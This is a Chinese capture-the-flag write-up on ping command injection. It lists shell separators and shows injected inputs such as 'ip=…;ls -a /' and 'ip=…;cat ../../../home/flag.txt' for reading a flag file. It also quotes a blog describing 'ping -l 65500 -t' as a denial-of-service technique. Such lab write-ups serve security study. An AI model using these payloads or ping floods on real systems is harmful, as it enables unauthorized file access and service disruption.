预备知识:该在线系统是Linux,ls和cat命令都是Linux的命令行命令,
这题考得的是ping命令的注入,常见的命令截断字符:‘$’‘;’‘|’‘-’‘(’‘)’‘反引号’‘||’‘&&’‘&’‘}’‘{’’%0a’可以当作空格来用;
分隔符使用方法:(仅Linux系统下适用)
- &(;)
用&隔开,用法是前后命令不管是可否运行都会运行下去,1命令&2命令,就是运行1命令,运行2命令
来自 <https://blog.csdn.net/qq_42250840/article/details/105442594>
- &&
如果命令被 && 所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止。 - ||
如果命令被双竖线 || 所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止。 - |
- 如果两条命令被|分隔,则会放弃执行前一条命令而仅仅执行第二条命令
ip=220.249.52.133;ls -a / 测试下是否存在命令注入,发现存在:
来自 <https://www.it610.com/article/1293820733847314432.htm>
以下是引用:
在网络中ping是一个十分强大的TCP/IP工具。它的作用主要为:
(1)用来检测网络的连通情况和分析网络速度;
(2)根据域名得到服务器IP;
(3)根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
我们通常会用它来直接ping IP地址,来测试网络的连通情况。
除此之外还有一些其他的功能:
ping-t的使用
不间断地ping指定计算机,直到管理员中断。
这说明电脑连接路由器是通的,网络效果好。下面按住键盘的Ctrl+c终止它继续ping下去,就会停止了,会总结出运行的数据包有多少,通断的有多少了。
3. ping-a的使用 Ping-a解析计算机名与NetBios名。就是可以通过ping它的IP地址,可以解析出主机名。 ping-n的使用
在默认情况下,一般都只发送4个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度都很有帮助,比如我想测试发送10个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
从以上可以知道在给47.93.187.142发送10个数据包的过程当中,返回了10个,没有丢失,这10个数据包当中返回速度最快为32ms,最慢为55ms,平均速度为37ms。说明我的网络良好。
如果对于一些不好的网络,比如监控系统中非常卡顿,这样测试,返回的结果可能会显示出丢失一部分,如果丢失的额比较多的话,那么就说明网络不好,可以很直观地判断出网络情况。
5. ping-I size的使用
-l size:发送size指定大小的到目标主机的数据包。 在默认的情况下Windows的ping发送的数据包大小为32byt,最大能发送65500byt。当一次发送的数据包大于或等于65500byt时,将可能导致接收方计算机宕机。所以微软限制了这一数值;这个参数配合其它参数以后危害非常强大,比如攻击者可以结合-t参数实施DOS攻击。(所以它具有危险性,不要轻易向别人计算机使用)。
比如,ping -l 65500 -t 211.84.7.46 会连续对IP地址执行ping命令,直到被用户以Ctrl+C中断
如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,网络严重堵塞,由此可见威力非同小可。
来自 <https://blog.csdn.net/weixin_45895555/article/details/105039279>
首先在框内输入ip=220.249.52.133;ls -a /查看目录结构,可以试探性的输入
ip=220.249.52.133;find / -name “flag.*”,如下图1所示
从图中的信息可以看到flag在home文件中,根据第一步的结果来进入到home文件夹中,再利用cat命令,即输入:
ip=220.249.52.133;cat ../../../home/flag.txt,如图2所示
得到flag。